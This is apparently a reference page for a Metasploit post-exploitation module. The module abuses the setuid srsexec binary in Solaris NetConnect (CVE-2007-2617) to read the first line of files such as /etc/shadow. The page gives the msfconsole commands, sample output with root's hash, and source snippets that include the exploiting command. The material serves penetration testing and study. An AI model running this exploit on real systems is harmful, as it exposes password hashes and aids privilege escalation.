Solaris srsexec Arbitrary File Reader - Metasploit


This page contains detailed information about how to use the post/solaris/escalate/srsexec_readline metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Solaris srsexec Arbitrary File Reader
Module: post/solaris/escalate/srsexec_readline
Source code: modules/post/solaris/escalate/srsexec_readline.rb
Disclosure date: 2007-05-07
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): Solaris
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2007-2617

This module exploits a vulnerability in NetCommander 3.2.3 and 3.2.5. When srsexec is executed in debug (-d) verbose (-v) mode, the first line of an arbitrary file can be read due to the suid bit set. The most widely accepted exploitation vector is reading /etc/shadow, which will reveal root's hash for cracking.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/solaris/escalate/srsexec_readline

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/solaris/escalate/srsexec_readline
msf post(srsexec_readline) > show options
    ... show and set options ...
msf post(srsexec_readline) > set SESSION session-id
msf post(srsexec_readline) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/solaris/escalate/srsexec_readline")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

The vulnerable binary (srsexec) is included in the package Sun Remote Services Net Connect Software Proxy Core (SUNWsrspx). The vulnerable versions are 3.2.3 and 3.2.4, for Solaris 10. This package was included on the extras/companion CD which doesn't seem to available anymore. srsexec's vulnerability is that it runs with the suid bit set, and in debug verbose mode if given a file as input, the first line of that file will be echoed back. Common exploitation is to read /etc/shadow, to get root's password hash, however any file can be read.

In lieu of this, a mock application was created in python and is available here. Follow the instructions in the python script to install, argparse also needs to be sent to the Solaris box since pypi.org doesn't accept ssl2/3 which are the only versions in Solaris 10u9.

The output from srsexec is slightly odd. The first line of the file will be after binaries file line: and truncated at 20 characters. If the output is longer than 20 characters, then the next line will start with the last 2 characters from the previous line, followed by the next 18 characters, and so on.

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Get a user level session
  4. Do: use solaris/escalate/srsexec_readline
  5. Do: set session [#]
  6. Do: run
  7. You should be able to read the first line of a file.
  8. If /etc/shadow is selected, check creds.

Options

File

The file that should have the first line read. Default is /etc/shadow and root's hash will be databased.

Scenarios

Solaris 10 u9 with mock binary and python 2.4

msf5 post(solaris/escalate/srsexec_readline) > run

[+] 3.2.4 is vulnerable
[+] Raw Command Output: verify_binary(vFYZf)
srsexec: binary_name: vFYZf
srsexec: name_buf: vFYZf_______________
binaries file line: root:MW7h.vpI1Kq1g:1
binaries file line: :17599::::::
smmsp:NP
Security verification failed for binary: vFYZf
see SYSLOG(/var/adm/messages) for errors
[+] First line of /etc/shadow: root:MW7h.vpI1Kq1g:17599::::::
[+] Adding root's hash to the credential database.
[*] Post module execution completed
msf5 post(solaris/escalate/srsexec_readline) > creds
Credentials
===========

host          origin        service       public   private        realm  private_type
----          ------        -------       ------   -------        -----  ------------
              1.1.1.1                     root     MW7h.vpI1Kq1g         Nonreplayable hash

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Msfconsole Usage

Here is how the solaris/escalate/srsexec_readline post exploitation module looks in the msfconsole:

msf6 > use post/solaris/escalate/srsexec_readline

msf6 post(solaris/escalate/srsexec_readline) > show info

       Name: Solaris srsexec Arbitrary File Reader
     Module: post/solaris/escalate/srsexec_readline
   Platform: Solaris
       Arch: 
       Rank: Normal
  Disclosed: 2007-05-07

Provided by:
  h00die
  iDefense

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  FILE     /etc/shadow      yes       File to read the first line of
  SESSION                   yes       The session to run this module on.

Description:
  This module exploits a vulnerability in NetCommander 3.2.3 and 
  3.2.5. When srsexec is executed in debug (-d) verbose (-v) mode, the 
  first line of an arbitrary file can be read due to the suid bit set. 
  The most widely accepted exploitation vector is reading /etc/shadow, 
  which will reveal root's hash for cracking.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-2617
  https://download.oracle.com/sunalerts/1000443.1.html
  https://www.securityfocus.com/archive/1/468235
  https://www.exploit-db.com/exploits/30021
  http://www.securityfocus.com/bid/23915

Module Options

This is a complete list of options available in the solaris/escalate/srsexec_readline post exploitation module:

msf6 post(solaris/escalate/srsexec_readline) > show options

Module options (post/solaris/escalate/srsexec_readline):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   FILE     /etc/shadow      yes       File to read the first line of
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the solaris/escalate/srsexec_readline post exploitation module:

msf6 post(solaris/escalate/srsexec_readline) > show advanced

Module advanced options (post/solaris/escalate/srsexec_readline):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the solaris/escalate/srsexec_readline module can do:

msf6 post(solaris/escalate/srsexec_readline) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the solaris/escalate/srsexec_readline post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(solaris/escalate/srsexec_readline) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Session already has root privileges

Here is a relevant code snippet related to the "Session already has root privileges" error message:

41:	    '/opt/SUNWsrspx/bin/srsexec'
42:	  end
43:	
44:	  def check
45:	    if is_root?
46:	      fail_with Failure::BadConfig, 'Session already has root privileges'
47:	    end
48:	
49:	    # This ls is based on the guidance in the sun alerts article
50:	    unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
51:	    unin =~ /UninstallNetConnect\.([\d\.]{11})\.sh/

NetConnect uninstall not found, either not installed or too new

Here is a relevant code snippet related to the "NetConnect uninstall not found, either not installed or too new" error message:

48:	
49:	    # This ls is based on the guidance in the sun alerts article
50:	    unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
51:	    unin =~ /UninstallNetConnect\.([\d\.]{11})\.sh/
52:	    unless $1
53:	      print_error 'NetConnect uninstall not found, either not installed or too new'
54:	      return false
55:	    end
56:	
57:	    version = Rex::Version.new($1.split(".").map(&:to_i).join('.'))
58:	    unless version.between?(Rex::Version.new('3.2.3'), Rex::Version.new('3.2.4'))

<VERSION> is not vulnerable

Here is a relevant code snippet related to the "<VERSION> is not vulnerable" error message:

54:	      return false
55:	    end
56:	
57:	    version = Rex::Version.new($1.split(".").map(&:to_i).join('.'))
58:	    unless version.between?(Rex::Version.new('3.2.3'), Rex::Version.new('3.2.4'))
59:	      print_error "#{version} is not vulnerable"
60:	      return false
61:	    end
62:	    print_good "#{version} is vulnerable"
63:	
64:	    unless setuid? suid_bin_path

<SUID_BIN_PATH> is not setuid, it must have been manually patched

Here is a relevant code snippet related to the "<SUID_BIN_PATH> is not setuid, it must have been manually patched" error message:

60:	      return false
61:	    end
62:	    print_good "#{version} is vulnerable"
63:	
64:	    unless setuid? suid_bin_path
65:	      vprint_error "#{suid_bin_path} is not setuid, it must have been manually patched"
66:	      return false
67:	    end
68:	
69:	    true
70:	  end

Target is not vulnerable

Here is a relevant code snippet related to the "Target is not vulnerable" error message:

69:	    true
70:	  end
71:	
72:	  def run
73:	    unless check
74:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
75:	    end
76:	
77:	    flag = Rex::Text.rand_text_alpha 5
78:	    output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")
79:	    vprint_good("Raw Command Output: #{output}")

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References

See Also

Check also the following modules related to this module:

Authors

  • h00die
  • iDefense

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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